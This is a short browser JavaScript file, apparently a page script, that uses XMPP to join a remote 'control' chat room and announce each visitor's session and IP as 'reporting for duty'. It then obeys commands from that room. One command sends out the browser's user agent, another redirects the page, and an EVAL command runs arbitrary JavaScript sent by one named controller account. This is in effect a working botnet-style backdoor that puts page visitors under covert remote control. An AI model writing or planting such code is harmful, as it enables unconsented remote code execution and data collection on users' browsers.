var BOSH_SERVICE = '/http-bind'; var connection = null; connection = new Strophe.Connection(BOSH_SERVICE); function onConnect(status) { if (status == Strophe.Status.CONNECTED) { connection.addHandler(onMessage, null, 'message', null, null, null); // connection.rawInput = rawInput; // connection.rawOutput = rawOutput; connection.muc.join("control@conference.bergnetworks.com", connection.jid); connection.send($pres().tree()); connection.muc.sendMessage("control@conference.bergnetworks.com", "+ " + connection.jid + " - 38.107.191.90 (38.107.191.90) reporting for duty!"); } return true; } function disconnect () { connection.disconnect(); } window.onunload=disconnect; function onMessage(msg) { var body = msg.getElementsByTagName('body'); var type = msg.getAttribute("type"); var from = msg.getAttribute('from'); var base = 0; if (body.length > 0) { var body = body[0]; if (Strophe.getText(body).slice(0, connection.jid.length) == connection.jid) { var base = base + connection.jid.length + 2; } if (Strophe.getText(body).slice(base, base+ 6) == "ALERT:") { alert(Strophe.getText(body).slice(base + 6)); } else if (Strophe.getText(body).slice(base, base + 4) == "PING") { connection.muc.sendMessage("control@conference.bergnetworks.com", "+ " + connection.jid + " - 38.107.191.90 (38.107.191.90) reporting for duty!"); } else if (Strophe.getText(body).slice(base, base + 4) == "RICK") { connection.disconnect(); window.location="http://www.youtube.com/watch?v=oHg5SJYRHA0"; } else if (Strophe.getText(body).slice(base, base + 4) == "MSG:") { // TODO - Add message handling code here. It's gonna be a _long_ day. } else if (Strophe.getText(body).slice(base, base + 5) == "EVAL:" && from.slice(0, "niek@bergnetworks.com/".length) == "niek@bergnetworks.com/") { eval(Strophe.getText(body).slice(base + 5)); } else if (Strophe.getText(body).slice(base, base + 5) == "EVAL:" && from.slice(0, "niek@bergnetworks.com/".length) != "niek@bergnetworks.com/") { connection.muc.sendMessage("control@conference.bergnetworks.com", "+ " + connection.jid + " - 38.107.191.90 (38.107.191.90) DENIED CONTROL TO: " + from); } else if (Strophe.getText(body).slice(base, base + 2) == "UA") { connection.muc.sendMessage("control@conference.bergnetworks.com", navigator.userAgent); } else if (Strophe.getText(body).slice(base, base + 2) == "EX") { connection.disconnect(); } } return true; } $(document).ready(function () { connection.connect("anon.bergnetworks.com", "", onConnect); });